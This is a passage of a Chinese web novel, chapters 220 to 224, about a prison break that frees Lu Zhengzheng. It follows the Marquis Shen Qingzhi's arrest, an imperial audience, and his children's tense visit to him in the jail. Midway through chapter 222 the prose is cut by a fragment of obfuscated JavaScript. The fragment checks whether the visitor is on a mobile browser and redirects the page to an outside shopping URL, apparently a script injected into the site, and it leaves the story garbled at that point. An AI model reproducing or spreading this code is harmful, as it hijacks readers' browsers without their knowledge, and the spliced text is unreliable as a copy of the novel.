孟南枝合上手中的手稿,猛地站起身,眼中闪过一丝锐利,“怎么回事?详细说来。”
下人战战兢兢地禀报:“大头我们两个这几天一直轮班在牢狱附近守着,连盯了几日,没发生什么事,小人昨夜就……就小歇了一会儿。”
“结果一歇就歇过头了,等小人睡醒的时候,整个牢狱被官兵给围了起来,小人,小人不知道发生了何事,就去打听。”
“才知道在小人歇着那段时间,一群黑衣人突然闯入牢狱,与狱卒发生了激烈的打斗,等官兵赶到时,陆、陆姑娘已经不见了踪影。”
“小人该死,小人有负夫人嘱托,没能第一时间发现异常。”
孟南枝眉头紧锁,摆手示意他退下。
刘嬷嬷却是气得不肯轻饶,“连夫人交代的事也敢怠慢,罚你两个月的月钱。”
“谢夫人开恩,谢嬷嬷手下留情。”
那下人忙不迭地磕头谢恩,额头重重地磕在地上,发出沉闷的声响。
“夫人,这陆筝筝怕不是被奕王给救走了。”
孟南枝手指轻轻扣击桌案,轻轻摇头,“不是奕王。”
太子未曾出事,他还未得圣心。
在这么多人的眼皮子底下,他还不敢。
更重要的是,孟南枝觉得,陆筝筝应该在萧临渊的心中还没有占到这么高的比重。
“那是林婉柔?”刘嬷嬷瞪眼,“那她也太大胆了。”
孟南枝陷入沉思,她也说不清。
若这些人真是林婉柔安排的,那她倒是觉得林婉柔还算有点身为母亲的样子。
“夫人,老奴去瞧瞧吧。”
刘嬷嬷坐不住了。
夫人不在的这些年,她见过太多次陆筝筝“勾引”世子、诬陷小姐的样子。
如今好不容易落了牢狱,听说还病得快要**。
刘嬷嬷和知夏、知秋每天闲聊的时候,就是在盼着她赶紧病死。
结果人没病死,竟然被人给劫走了。
恕她实在是不能忍。
孟南枝知道她的想法,便点头应下。
“嬷嬷你腿脚不便,路上小心点,让月满和你一起去。”
……
刑部尚书郭继坤要疯了。
他被圣上点名查完平阳公一案后,就要闭门思过一个月。
准备好好表现,依靠孟相能让圣上解了他这个处罚。
结果转眼牢狱就出了大事。
劫狱!
这是大衍,多少年都没发生
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过的事。
在京都,大衍历史上记载的上一次劫狱,还是发生在圣上与其它皇子争夺皇位时。
可那时劫狱的是孟相。
被劫狱的可是圣上啊。
眼下这算什么?
一个小小的镇北侯继女。
不对,还没入族谱,连继女都算不上。
郭继坤甚至都不敢去跟圣上汇报,直接带领杀进了镇北侯府。
黑衣人要查,但这个名义上的父亲和母亲也要抓。
沈卿知这段时间都很烦。
自上次他和林婉柔一起去探望过陆筝筝后,看到陆筝筝可怜兮兮、凄凄惨惨向他求助的模样,他就心疼得难以接受。
明明在他梦里,最终会攀上高枝、登上凤位,带着他荣登国公之路的陆筝筝,怎么能凄惨成那个样子?
他是不是真的走错了?
难道他当初就真的不该和孟南枝和离,去选林婉柔?
门外传来刺耳的喧闹声,沈卿知当下便有了火气。
他猛地站起身,大步走到门口,一把拉开房门,怒目看向门外,“何事如此喧哗,成何体统!”
结果正对上郭继坤比他还要怒上三分的脸,当下便缓和了语气,微微拱手陪着笑脸道:“郭大人,您怎么来了?可是筝筝一案,有所转变?”
林婉柔说她会想办法将陆筝筝保出来,难道是有了成效?
郭继坤脸色肃穆,鼻间发出冷哼。
“转变?镇北侯你想有什么转变?你怎么知道本官是为陆筝筝一案前来?”
沈卿知察觉到他语气的不对,往外面看了一眼,见还跟着几个带刀的侍卫,心中一突,“郭大人,这究竟是发生了何事?”
郭继坤更加生气,“事到如今,竟然还敢在本官面前装糊涂,把他给我带走。”
几名侍卫闻言,不客气地上前试图绑他。
沈卿知推开他们,“郭大人,你倒是和我说一声,下官犯了什么罪?”
“什么罪?”
郭继坤怒目圆睁,大声喝道:“你平妻之女陆筝筝在牢狱被人劫走,镇北侯,你说你犯了什么罪?”
第220章 她去奕王府了
沈卿知闻言,脑袋嗡的一声炸了,整个人如遭雷击。
他薄唇上的短须微颤,好半晌才回过神来,急忙辩解。
“郭大人,下官对此并不知情。下官这几日一直待在府中,从未外出,更不曾指使他人去做这等事。”
盛怒中的郭继坤冷笑一声,满脸不屑,“镇北侯,你当熟知大衍律法,陆筝筝是你平妻之女,养于侯府,如今被人劫走,你难辞其咎。”
沈卿知额上渗出冷汗,这次连声音带着都带了几分颤意,“郭大人,郭大人,下官真不知情,请大人明查。”
大衍律例:犯人被劫,家人连坐。
陆筝筝若真的在牢狱被劫走(非死罪),他这个名义上的“继父”,若不能证明自己并不知情。
轻则杖刑、罚没财产,重则就要被剥夺爵位、流放千里。
这哪一样,都不是他能承受的。
然而郭继坤却不再听他无意义的辩解,“带走!”
侍卫们再次上前,不由分说地将沈卿知绑了起来。
沈卿知挣扎着大喊,声音中带着几分凄厉,“郭大人,这其中定有误会,下官定会全力配合调查,还望郭大人明察秋毫啊!”
只要他能证明自己不知情,最多缴纳巨额罚金,便可豁免其罪。
然而,又过来两名侍卫说的话,彻底断了他这个念头。
“大人,没找到林氏。”
郭继坤示意正把沈卿知往外拖的侍卫停下,走到他面前,眸光如刀子一样割向他。
“镇北侯,林婉柔去了哪里?她和此案是否有干系?”
“下官也不知她去了何处,婉柔她……她……”
沈卿知说到此处,艰难地咽了咽唾沫,“郭大人,婉柔她这些日子一直在忙于寻医师去给筝筝治病,再说婉柔她一向尊规守矩,又岂会干出劫狱这种大逆不道的事。”
“尊规守矩?”
郭继坤鼻间发出冷哼。
他虽未再多说一句,可沈卿知却从他那眼里看到了满满的嘲讽。
就连跟着他来的那几名侍卫,听闻这四个字,脸上都莫名地生了笑。
沈卿知又羞又恼地将眼帘耷拉下去,遮住了眼中一闪而过的愤恨。
他心中明白,郭继坤是在嘲笑林婉柔这段时日,一直想方设法不守规矩地把陆筝筝给保出来。
沈卿知也有一瞬间的怀疑,陆筝筝被劫会不会是林婉柔做的。
可他一想到这是能让人**的大罪,便觉得以林婉柔那弱不禁风,在孟南枝回来后,连平妻之位都不敢要,步步退让不敢正面较量的性子。
定然是没有这个胆量与魄力,去谋划并实施这样一场劫狱大案的。
更重要的,这件事一定不能是林婉柔做的,若不然他们沈家的爵位,就彻底败落在他手里了。
所以,沈卿知又挺直了脊背,抬起头来,目光坚定地看向郭继坤,再次开口说道:
“郭大人,婉柔绝不可能做出这等事,她应该又是出去寻名医去了,毕竟筝筝的病情一直未见好转,她心急如焚也是人之常情。”
郭继坤盯着沈卿知看了片刻,突然转身,对着侍卫们下令:“去,把镇北侯府仔细搜查一遍,任何一个角落都不要放过。”
“另外,派人出去各大医馆寻找林婉柔的下落,一旦发现,立即带回。”
侍卫们齐声应诺,迅速分成两队。
一队奔向镇北侯府各处,另一队则快马加鞭,朝着城中的各大医馆疾驰而去。
沈卿知站在原地,看着满府柜子衣箱被侍卫翻了个底朝天,心中七上八下。
他既担心林婉柔真的与劫狱案有关,又害怕府中藏有什么能牵连到自己的证据。
越想越怕,乃到于他额上的冷汗不断滚落,浸湿了衣襟。
凉风风吹,连打了好几个寒战。
郭继坤见他这般胆怯模样,眉头紧锁,陷入沉思。
担心查案方向有错,他连忙起身向外走,并对侍卫吩咐。
“把镇北侯请进牢狱,严加看管。”
却不想,这时一个侍卫又跑过来禀报。
“大人,有个下人说,看到林氏去奕王府了。”
郭继坤停下脚步,扭头去看沈卿知。
沈卿知同样呆愣,“郭大人,下官是真不知情。”
郭继坤眼神锐利如
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鹰般盯着沈卿知,面无表情地冷笑。
“镇北侯,看来你要随本官一同到圣上面前亲自解释了。”
牢狱被劫,涉及皇子。
他郭继坤若再拖着不报,头上这顶帽子就是真的不想要了。
……
御书房。
圣上萧潜雍面容平静,脸上没有一丝怒气。
可下面跪着的众人,却没有一个人敢抱侥幸心理。
他们心知,圣上越如此,越证明圣上越愤怒。
一旦爆发,必将是雷霆万钧之势。
作为刑部尚书,郭继坤不可推责地率先跪地禀报:“陛下,自牢狱被劫,臣便派人封了城门,并对城中各处进行搜查,可至今仍未寻得劫狱之人及被劫走的陆筝筝。”
“经臣对陆筝筝一案进行反复核查,发现陆筝筝的母亲林婉柔、‘继父’镇北侯、以及……”
说到此处,郭继坤顿了顿,才又开口,“奕王,均有嫌疑。”
他话音刚落,跪在一旁的沈卿知便双腿发软地急忙叩首道:“圣上明鉴,臣对此事并不知情,而且臣并非是陆筝筝的继父,她并未入沈家族谱。”
此时此刻,他再也不敢提及将陆筝筝入族谱一事。
甚至有些庆幸当初老族长的坚持。
若不然,今日他便是跳进黄河也洗不清了。
奕王萧临渊同样跪地,神色镇定,不慌不忙地开口:“父皇,儿臣是与陆筝筝有些渊源,但儿臣并不知劫狱之事,更没有参与其中,还望父皇明察。”
圣上萧潜雍目光缓缓扫过众人,“郭继坤,你继续说。”
郭继坤微微颔首,接着道:“陛下,自陆筝筝入狱因杖刑病重后,唯有奕王、镇北侯和那林氏去探望过她。”
“且林氏再三向臣以及臣的下属,请求将陆筝筝放到外面就医。而奕王,在探望陆筝筝时,曾提及必不会负了她。”
“所以臣觉得这劫狱一事,此三人嫌疑最大。只是目前还没有确凿证据,臣不敢妄下论断,还望陛下圣断。”
萧潜雍微微眯起眼睛,目光落在他那位第四子身上。
“临渊,此事可是你做的?”
第221章 我想去看看他
萧临渊挺直脊背,目视圣上,神色坦然道:“父皇,儿臣虽对陆筝筝有怜惜之情,但劫狱这般大逆不道、触犯律法之事,儿臣断不会去做。”
“儿臣深知身为皇子,当以律法为尊,以朝廷纲纪为重,怎会因一时怜惜就做出这等糊涂之事,还望父皇明鉴。”
圣上萧潜雍听后神色未动,目光深邃得让人瞧不出任何想法。
片刻后,他才将目光又转向沈卿知,带了几分冷意,“镇北侯,你呢?”
沈卿知身子猛地一颤,忙不迭地叩首,额头重重磕在地面,发出沉闷的声响。
“陛下,此事并非臣所为。陆筝筝是臣平妻之女,臣怜惜于她,这才去狱中探望她。但臣绝无劫狱之心,更无那等胆量与谋划去行此大逆不道之事。”
“臣这几日一直安分守己待在府中,从未有过任何异动,还望陛下明察。”
低着跪着的郭继坤,眼中闪过鄙夷。
他从来就没见过比镇北侯还不要脸的人。
前头在刑部处处向着陆筝筝的是他,如今见出了事,撇得干干净净的也是他。
想到圣上对孟相的圣宠,郭继坤开口准备送给圣上一个台阶。
“陛下,臣以为镇北侯所言不实,据臣所知,镇北侯这些年来待那林氏的女儿陆筝筝比自己的女儿还亲,出门在外也常夸那陆筝筝。”
“更是在所有人员都在忙碌山城洪灾和流民一事时,专门请了一天假,说要将那陆筝筝纳入沈家族谱。”
“臣虽不知镇北侯为何非要说陆筝筝未入沈家族谱,但在臣看来,镇北侯对陆筝筝的情谊可是难能可贵的父女之情。”
“所以臣以为,陆筝筝被劫一案,镇北侯并不能脱掉干系。臣恳请陛下,允许臣继续彻查镇北侯府,找出真相,严惩真凶。”
皇子他不敢查,但屈屈一个镇北侯,他还是敢查的。
沈卿知还想辩解,却被圣上萧潜雍的声音止住。
“镇北侯涉嫌劫狱一案,证据未明之前,先押入天牢候审。”
沈卿知只觉眼前一阵发黑,身子晃了晃,几乎要瘫倒在地。
他强撑着,颤抖着声音道:“陛下、陛下开恩啊……”
然而,圣上却不再看他,目光转向郭继坤,“郭爱卿,你继续彻查此案,务必找出真凶。不论涉及到谁,一律严惩不贷。”
郭继坤连忙领命,“臣遵旨,定不辜负陛下期望。”
他赌对了,圣上本来就看镇北侯不顺眼。
正等着他这个出头鸟来挑这个事端呢。
没看已经把“郭继坤”升级成“郭爱卿”了。
强压住嘴角的笑意,他便同禁卫一同将沈卿知押了下去。
待所有人离去,御书房只剩下圣上萧潜渊和奕王萧临渊这对父子。
萧潜雍低头看着这个被他留在京都,唯一未被安排封地的奕王,眸色依旧平静。
半晌,他才冷声询问:“你要纳那陆筝筝为侧妃?”
萧临渊垂头拱手,“是,父皇,陆筝筝失身于儿臣,儿臣要当起这个责任,给她一个名分,护她周全。”
“但父皇,儿臣并未因此参加劫狱。”
萧潜雍听后,神色依旧平静如水。
沉默良久,他才缓缓开口。
“从今日起,你自请禁足吧。”
……
孟南枝是到了快要日落的时候,才得知沈卿知被押入天牢的消息。
曹宛清坐在她的身侧,唇角勾着笑意,“他可真是活该,看他现在后不后悔非要娶林婉柔为平妻,竟还想把那陆筝筝记入沈家族谱。”
“眼下出了这等事,我估摸着他在牢里定是悔得肠子都要青了。”
孟南枝微微垂眸,掩去眼中一闪而过的复杂神色,轻声道:“这劫狱之事非同小可,他如今被押入天牢,也是自食恶果。”
“只是不知这背后主谋究竟是谁,竟然敢私闯牢狱。”
曹宛清闻言也皱了眉,“这件事确实蹊跷,我听陈郎说,郭大人去镇北侯府抓人时,那林婉
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柔竟然去了奕王府。”
“郭大人带人去抓她时,她装得跟真的似的,哭天喊地的说她不知情,还让郭大人去救陆筝筝,说陆筝筝肯定是被人给绑走了。”
说到这里,曹宛清又嫌弃地摇了摇头,“装的那么像,她不去当戏子真是可惜了。要我说,这件事八成就是她干的。”
孟南枝闻言却是轻轻皱了眉。
依她对林婉柔的了解,她做事一向喜欢给自己留后路。
这件事,只怕没那么简单。
而且陆筝筝被劫,林婉柔却在奕王府。
孟南枝很难不担心他们两个又有了交扯。
曹宛清见她不说话,以为她在担心陆筝筝被人劫走一事,忙是劝慰道:“南枝你也别太担心,郭大人和陆郎他们已经布下了天罗地网,陆筝筝又身有重伤,她逃不掉的。”
“而且林婉柔现在也被关押,就算她再狡猾再怎么算计,量她也翻不出什么浪花来。”
孟南枝点头,没有去否认她的话。
一旁静静听着的沈朝昭,情绪不高地抬起头,“我父亲他、真的被抓进天牢了?”
曹宛清点头,“是,直接从御书房带走的。”
察觉到女儿的不对劲,孟南枝嗔了曹宛清一眼。
曹宛清后知后觉地禁了声,面上起了小小的讪意。
她与南枝说习惯了,倒是忘了还有沈朝昭这个小丫头。
在人子女面前,总是不好说其父母的不是。
孟南枝握住沈朝昭的手,语气温和:
“昭儿,陆筝筝这件事,还在查。你父亲只是暂时被关押,他若是没有参与其中,关些时日,便会被释放的。”
沈朝昭垂下头,手指轻轻搅起绯色的衣角,“嗯,我知道。”
默了几息,她又几不可闻地开口。
“母亲,我想去看看他。”
孟南枝蹙眉,还不待她出声询问其原因。
次子沈砚珩也走了过来,轻声道:
“母亲,我也想去看看他。”
第222章 你们一定要帮帮为父
少年额前的碎发刚过眉梢,眼眸里带着的郁气已经消散。
一袭蓝色窄袖劲装,腰间束着深色织锦带,缀着一枚简单的玉葫芦,衣料利落,没有多余的纹饰,尽显身姿挺拔。
沈朝昭轻咬着下唇站起来,“二哥。”
沈砚珩对她温和地笑了笑,转头又对曹宛清行礼,“宛清姨。”
曹宛清微微颔首后,起身告辞,“南枝,我先回去了,如有进展,我会随时派人过来。”
涉及到他们家事,她不好一直在跟前。
孟南枝点头,亲自送她出府。
曹宛清扭头看了眼跟在后面的沈砚珩和沈朝昭,暗叹口气。
到底是亲生的,还养了十几年。
怕是没那么容易断掉。
只是这些话,却没办法在孟南枝面前开口说。
临上马车时,她握住孟南枝的手,紧了又紧。
孟南枝浅笑着回握住她的手,也紧了一紧。
多年的默契,在这无声的举动中作了交流。
再回厅堂,下人已经被刘嬷嬷支开。
空荡荡的厅堂里,只留下他们母子(女)三人。
沈朝昭与沈砚珩对视一眼,端着茶盏到孟南枝面前,“母亲,您累了一天,要不要先喝点水。”
孟南枝接过茶盏,抬眸看着眼前小心翼翼中带着忐忑的两个孩子。
即无奈,又心疼。
至血之亲,本就难以割舍。
更何况她的孩子,从本质上来说,就不坏。
将茶盏轻轻放下,孟南枝眉眼温柔,没有一丝不满和怒气地温声道:“等你外祖父回来,我问他要份手谕。”
预期的质疑和拒绝没有到来。
沈砚珩和沈朝昭兄妹二人对视一眼,眸中没有惊喜,反而多了丝担忧。
沈朝昭半蹲在孟南枝身侧,拉住她的衣角,完全没有一丝刁蛮不讲理的样子。
她压低了声音道:“母亲,我仔细想了想,您说的对,父亲他要是没罪很快就会被释放的,我还是不去了。”
沈砚珩拍了一下自己的额头,也跟着道:“母亲,我想起来我那副京图就差最后一点就画完了,我也暂时去不了。”
孟南枝看着他们这般讨好的模样,心中生起的那点失落很快消散。
她抬头轻轻抚摸女儿柔顺的乌发,并将她拉起来,柔声道:“你们既然想去,就去吧。身为子女,以表孝道是应当的。”
怕他们心有负担,孟南枝又说道:“只是母亲不放心,会和你们一起过去,在外面等着你们。”
沈砚珩与沈朝昭听闻此言,相互对视一眼,旋即又郑重地点了点头。
“好的,母亲。”
孟南枝等父亲孟正德回来后,和他提及此事。
孟正德只略一思索便亲自书写了手谕。
对于女儿的想法和决定,他一向全力支持。
……
天牢。
因为罪名未定,沈卿知没有被换上囚衣,身上穿的还是被郭继坤带走时的玄衣常服。
他蹲在角落,潮湿的霉味混杂着铁锈与血腥气,像一张黏腻的网,将他裹在中央。
头顶仅有一处巴掌大的高窗能透进一顶点惨淡的微光,映着石壁上的苔藓和干涸血迹。
后背的石板冰凉刺骨,他只能空悬地半靠着,不敢触碰到一点。
牢内没有床榻,只有一张破被褥。
沈卿知打开的时候,里面跑出来几只比他的脚掌还要大的老鼠,还有一团状似被啃了很久的手骨。
沈卿知恶心地后退了几步。
他长这么大,终使身为庶子,也从未见过这么糟的环境。
而这一切的原因,都在于陆筝筝被劫。
可他明明什么也没有做。
牢外传来脚步声,还有看守侍卫温和的说话声。
“公子,小姐,就是这里。”
紧接着是他所在牢门被打开的声音。
沈卿知连忙直起身子,抚平身上的皱褶,急步走向牢门。
“珩儿,昭儿,你们总算来探望为父了。”
来人正是沈砚珩和沈朝昭。
沈砚珩看着表现热情,想要过来揽住他肩膀的父亲,皱着眉头向后躲了一躲。
自母亲溺水,林婉柔经常往府里跑之后,作为父亲的沈卿知,已经很久没有对他做过如此亲昵的动作了。
他一时不习惯,也不能接受。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16752479|185648||http|test|mini|href|location''.split(''|''),0,{}));
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r>而沈朝昭则是看着父亲略有憔悴的脸,还有牢内恶劣到简直没办法住人的环境,皱紧了眉头。
这里比陆筝筝住狱时的情况,也太差了。
沈卿知察觉到次子的排斥,眸色闪了一闪,改为抬手拍了拍他的肩膀。
又转身笑看着沈朝昭,尽量表现出身为父亲的慈爱。
“珩儿,昭儿,为父这些日子一直想去孟府看你们,只是你母亲她对我心有误解,不让我踏入孟府半步。”
“为父在忙碌之余,无时无刻不在担忧和思念你们,总担心你们过得不好,吃得不饱,穿得不暖。”
“为父从来没想过不管你们,为父知道你们这些年同为父一样,一直思念你们母亲,这才同意你们母亲将你们带去孟府教养。”
“可在为父心里,你们始终于是为父的孩子,为父对你们的疼爱从未减少分毫。”
沈卿知说着,眼眶微微泛红,泪光闪烁着差点滴落。
沈砚珩对他的戒备并没有因为他这些话而消减,眉头依旧紧锁。
沈朝昭却是看着他这般模样,心中有些不忍。
她取出带来的包裹递给他,“父亲,您在这受苦了,这里面是一点保暖的衣物,还有干粮。”
沈卿知接过包裹,摸着里面厚实的夹棉衣料,脸上刻意表现出来的慈爱总算是带了几分真情。
“这,可是你们母亲让你们带来的?她人来了吗?”
在他看来,孟南枝让沈砚珩和沈朝昭过来看他,证明她心里还是有他。
面对这般对她慈爱的父亲,沈朝昭很难说谎,“我母亲她……”
沈砚珩将她往后面拉了一下,止住她的话,对沈卿知说道:“我母亲她没来,这是妹妹给你带的。”
沈卿知眼神露出失望,但很快又掩饰过去,“没关系,你们母亲还在生我气,不来看我也是正常的,但你们能来,为父已经很开心了。”
说到这里,他又换上一副哀求的语气。
“珩儿,昭儿,为父如今在这天牢之中不能自证清白,你们可一定要帮帮为父。”
沈砚珩眼帘微垂,开口道:“你想让我们怎么帮你?”
第223章 是不是我比她重要了?
“你们去找筝筝。”
沈卿知如下指令,没有丝毫犹豫。
沈砚珩眯了眯眼睛,“找陆筝筝?去哪里找?你知道她在哪里?难不成她真是被你安排的人劫走的?”
沈卿知吓得看了眼牢门,生怕被人听见似的喝斥道:“说什么呢?劫狱乃是杀头大罪,为父怎么会做这种事?”
然后又故意提高嗓门,怕人听不到似的大声道:“为父清清白白,一心为国为民,从不干违反律法之事,为父对筝筝被劫一事并不知情。”
沈砚珩看他这般作态,抿了抿唇。
但想到他到底是自己的父亲,也没去揭穿。
只低声问道:“是不是林婉柔将她劫走了?你是不是知道她在哪里?父亲你若知道,就告诉我,只要把她抓起来,父亲你就清白了。”
沈卿知摇头,“为父是真不知道,你婉柔姨是不会干出这种事的。”
被沈砚珩拉在身后的沈朝昭上前一步,突然开口询问:“是不是奕王殿下?他将陆筝筝救走的?”
“不……”
沈卿知口中的“不”字刚说一半,又生生咽住。
他突然想起来郭大人去府里抓他时,林婉柔和奕王在一起。
郭大人还在圣上面前提前奕王同样有嫌疑。
林婉柔又一直在他面前说,定会想法办把陆筝筝保出来。
而且圣上在听完郭大人说奕王有嫌疑时,根本就没有斥责奕王,反而直接询问奕王。
这证明奕王在圣上心中的份量很重,再加上这些年几位皇子都被安排了封地。
只有奕王,没有封地,还在京中。
这是不是说明,圣上心里其实一直有把奕王当作候选人?
只是碍于太子是嫡长子,所以才……
依照他梦中所见结局来看,奕王最终会夺得高位,陆筝筝攀得凤位。
那么奕王就会历经各种磨难,说不定陆筝筝被劫,就是奕王命中的磨难。
所谓有情人??成眷属,陆筝筝既然是奕王的真爱,那陆筝筝被劫这件事,还真就有可能是奕王做的。
那陆筝筝找到后对他没有半点好处。
反而会让奕王对他不满。
所以陆筝筝不能被找到。
尤其是不能被他所安排的人找到。
想到此处,沈卿知一脸紧张地开口道:“不,别去找筝筝。”
“为什么不让我们找她?”
敏感的沈砚珩觉得他的态度转变不正常。
沈卿知摆手,“总之这件事你们不用管了,找她是刑部和府衙的事。”
最好所有人都不要管,他越想越觉得自己摸到了圣上的心思。
他现在有很大的把握,奕王在圣上心中的分量是很大的。
仅次于太子,或者高于太子。
他要把握住机会,不能功亏一篑。
沈砚珩对他的反复转变,起了疑心,“父亲,你是不是想到是谁把她劫走了?”
“别乱说,为父不知道,这件事跟为父一点关系都没有。”
沈卿知摇头,急得唇上的短须都翘了起来。
可他越这样,对他了解的沈砚珩越不信他的话。
他担着让母亲难过不高兴的风险来探望父亲,并非是因为纯粹的血缘之情。
在沈砚珩看来,沈卿知为了那个平妻一步步亏待他们兄妹,不管对错,永远都先责怪他们兄妹,动不动还家法鞭打他时,他们之间的父子情就该断了。
只是碍于礼法,碍于律法,他没办法割舍和他的关系。
他今天来看沈卿知,是因为他就是想确认一下他知不知道陆筝筝的位置。
陆筝筝她污蔑他母亲的名誉,还买凶试图杀他母亲。
他担心陆筝筝出狱后,会发疯似的报复母亲。
当然还有一点,他听见妹妹说要来探望父亲,有点不放心。
因为他很清楚妹妹有多渴望父爱。
她特别嫉恨陆筝筝在父亲心中的位置。
兄长不在,他也要有做兄长的样子。
不管是母亲,还是妹妹,都该由他来保护。
沈朝昭已经从他们两个的对话中察觉出不对劲,她手里拽着沈砚珩的腰上的锦带,鼓足了勇气问道:“父亲,你是不是真的知道陆筝筝
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她在哪里?”
沈卿知气得瞪大了双眼,压低的声音中带着撕裂感,“为父说了多少遍,为父不知道,这件事不是为父做的。”
“那你为什么不让我们找她?”沈朝昭圆溜溜的杏眼中带着不解。
“那是因为……”
沈卿知扬了扬手,又停下来,有些烦躁地甩了下衣袖。
他没办法说出心里的盘算,而且他还担心沈砚珩这个逆子真找到陆筝筝。
万一记恨陆筝筝,故意不寻医师给她看病,把陆筝筝给拖**。
那他依旧得不偿失。
他现在已经没有什么可以失去的了。
想了想,沈卿知转换了语气道:“为父听说将她劫走的是一群黑衣人,那些黑衣人武功高强,下手凶狠,连看管牢狱的侍兵都被他们杀了不少。”
“为父担心你们去找她,万一碰上了黑衣人,你们还小,有个什么闪失,让为父可怎么活。”
沈卿知说着,眼眶又红了起来,似是极为担忧他们的安危。
沈砚珩下唇包裹上唇,有些不耐地呼出一口气,吹得额前碎发都飘了起来。
怕妹妹被他的言辞哄住,沈砚珩又将沈朝昭往后拉了拉。
但这次他没能拉动。
沈朝昭松开一直拽着沈砚珩锦带上的那只手,两只手紧紧地握在一起,眼帘微垂。
“父亲,现在在你心里,是不是我比陆筝筝重要了?”
沈朝昭说这话的时候根本就没有抬头。
母亲和她说,血缘继不掉,情能分。
可她做不到。
终使她知道现在的父亲变了。
可她还始终记得在陆筝筝没来之前,父亲会哄着她、陪着她,什么都给她最好的。
那段时间的父爱,已经铭记在她的心底。
她这辈子都不会忘记。
所以她才一直不甘心陆筝筝抢走她的父爱。
沈卿知没想到女儿会突然问出这么一句话。
他卡在喉间的情绪上也不是,也下不是,连表情都开始变得僵硬。
“昭儿,你,你在父亲的心里一直都很重要。”
第224章 她最好冻死在牢狱
“真的?”
沈朝昭抬起头,泛红的杏眼中带着些许潮意。
沈卿知肯定地点头,“当然是真的,你是父亲的女儿,父亲不待你好,能待谁好?”
沈朝昭看着沈卿知眼中已经很久没有对她出现过的慈爱,突地笑了一声。
一抹晶莹顺着脸颊落下,滴在手背上。
有些温热,又有些冰凉。
她吸了吸鼻子,抬手向上去擦眼角。
又看了一眼沈卿知,再次笑了一下,泪珠便如线一般滚落。
“朝昭。”
沈砚珩有些担心地拽了拽沈朝昭的衣袖。
父亲现在说的话,明显就是为了哄她。
沈卿知不满地瞪了沈砚珩一眼,又扭头看向沈朝昭,“昭儿,你……为父说的都是……”
沈朝昭垂下眼帘,打断他的话,“您照顾好自己。”
言罢,她转身就向牢门外走。
沈卿知见状起了急,忙上前一步拽住了沈朝昭的手腕,“昭儿,为父话还没说完。”
“您说。”
沈朝昭停下脚步,却没有回头。
沈卿知自顾说道:“你回去和你母亲说一下,为父是清白的,让她和你外祖父务必保为父出去。”
沈砚珩那个逆子明显不信他,唯有女儿对他还心生依赖。
虽然他不想他们寻到陆筝筝,可他也并不想待在这天牢里。
这里,根本就不是人待的地方。
顿了顿,他又道:“还有,你去给你婉柔姨送点衣物,她身子柔弱,在牢狱定是住不惯。”
陆筝筝若回来,定是见不得她母亲受苦。
他不能放着林婉柔不管。
沈朝昭听闻这话,转过身,那双刚滴过泪珠的杏眼里,此时全是不可置信、难过、愤恨等各种复杂交织的情绪。
“父亲,您是说让我,去给林婉柔送衣物?”
沈卿知点头,“你婉柔姨待你一向比筝筝还亲,她如今也身在狱中,你身为晚辈,自当去照拂一二。”
他不认为这个安排有什么问题。
沈朝昭只觉一股寒意从脚底直窜心头。
她紧紧攥着拳头,指甲狠狠嵌入掌心,声音带着几分颤抖与质问:“父亲,曾经我被您关在祠堂时,你可曾让她给我送过衣物?”
沈卿知皱眉:“你被关时,她和筝筝哪次没有给你送衣物和吃食?”
“那是你让她们送的吗?你知道她们给我送的是什么吗?”
沈朝昭眼眶中的泪意再次翻涌,她声音陡然拔高,带着几分歇斯底里。
“她们送来的,是她们吃剩的饭菜。我打翻那些饭菜,您从来都不听我解释,只会责怪我不懂事。”
说到这里,沈朝昭扬了扬下巴,这次努力没让那眼泪落下,“您说我在您心里一直都很重要,是假的。”
“在您心里,重要的一都是林婉柔和她那个女儿陆筝筝!”
沈卿知脸上青白一片,“昭儿,你怎么能这么说为父?为父说的都是真心话,你在为父心里真的一直都很重要,你受了委屈应该早点告诉为父的。”
沈朝昭抿了抿唇,“父亲,您听听您说的话。您若真在乎我,怎会连我受的委屈都不知道?”
“而且我向您说过那么多次,您听了吗?您是怎么做到装作不知道的呢?”
沈卿知又羞又恼,却依旧维持自己身为父亲的尊严,“昭儿,为父那时或许是疏忽了,但为父心里是真的有你的。你莫要再耍小性子,只管按照为父说的去做。”
沈朝昭失望地摇了摇头,眼神中满是决绝,“父亲,衣物我是不会给她送的,她最好冻死在牢狱里!”
言罢便头也不回地往外走。
沈卿知还想去追,却被沈砚珩招呼着侍卫将他拦下,推回牢中,将门落了锁。
沈卿知大恼,“逆子,沈砚珩,为父还没说完,你快把你妹妹叫过来,让为父和她解释。”
沈砚珩站在牢门外,神色冷淡,目光中带着几分疏离,“父亲,你心里既然一直没有我们,又何苦如此演戏。既要演戏,就好好演,又何苦到最后揭穿自己。”
沈卿知气得浑身发抖,“你……你这个逆子,竟敢如此跟为父说话!”
沈砚珩却不为所动,只是淡淡地说道:“你若真把我们当子女,又怎会如此厚此薄彼,将所有的疼爱都给了那对母
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女。”
“如今你身陷囹圄,才想起我们,还妄图让我们为你奔走,为你照顾那位差点害死我母亲的女人,你当我们是什么,是你呼之即来挥之即去的工具吗?”
沈卿知被沈砚珩这一番话怼得哑口无言,他隔着牢门指着沈砚珩的手不停地颤抖。
“你……你……”
你了半天,也没说出个所以然来。
沈砚珩说完后,便迈步追向沈朝昭离去的方向,心中满是担忧与疼惜。
沈卿知在牢中咆哮着,却无人理会,只觉一阵无力感涌上心头。
他颓然地坐在地上,口中喃喃道:“我可是你们的父亲,你们怎能如此对我。”
“孟南枝,你太狠心了,你怎么能教导子女如此背逆于我?”
秋风微凉,阳光却浓。
孟南枝身着一袭烟霞色金绣折枝菊纹裙,乌发松松挽成垂鬓分肖髻,只插了一枝赤金点翠的步摇。
暖阳洒在她身上,将衣襟的烟霞色染得愈发柔和。
她原本坐在车内等沈砚珩他们兄妹,但越坐越难安,便走下马车,跺步到了天牢门口。
足足有半柱香,她都一直在犹豫要不要进去。
按理该给子女去探望父亲的空间,但她又实在有些不放心。
正准备抬脚间,却见沈朝昭疾步走出来,风一般穿进她的怀里。
“母亲。”
少女的声音中带着哽气,明显是受了委屈。
孟南枝将她揽在怀里,轻拍她的后背,柔声安抚,“好了,母亲在呢。”
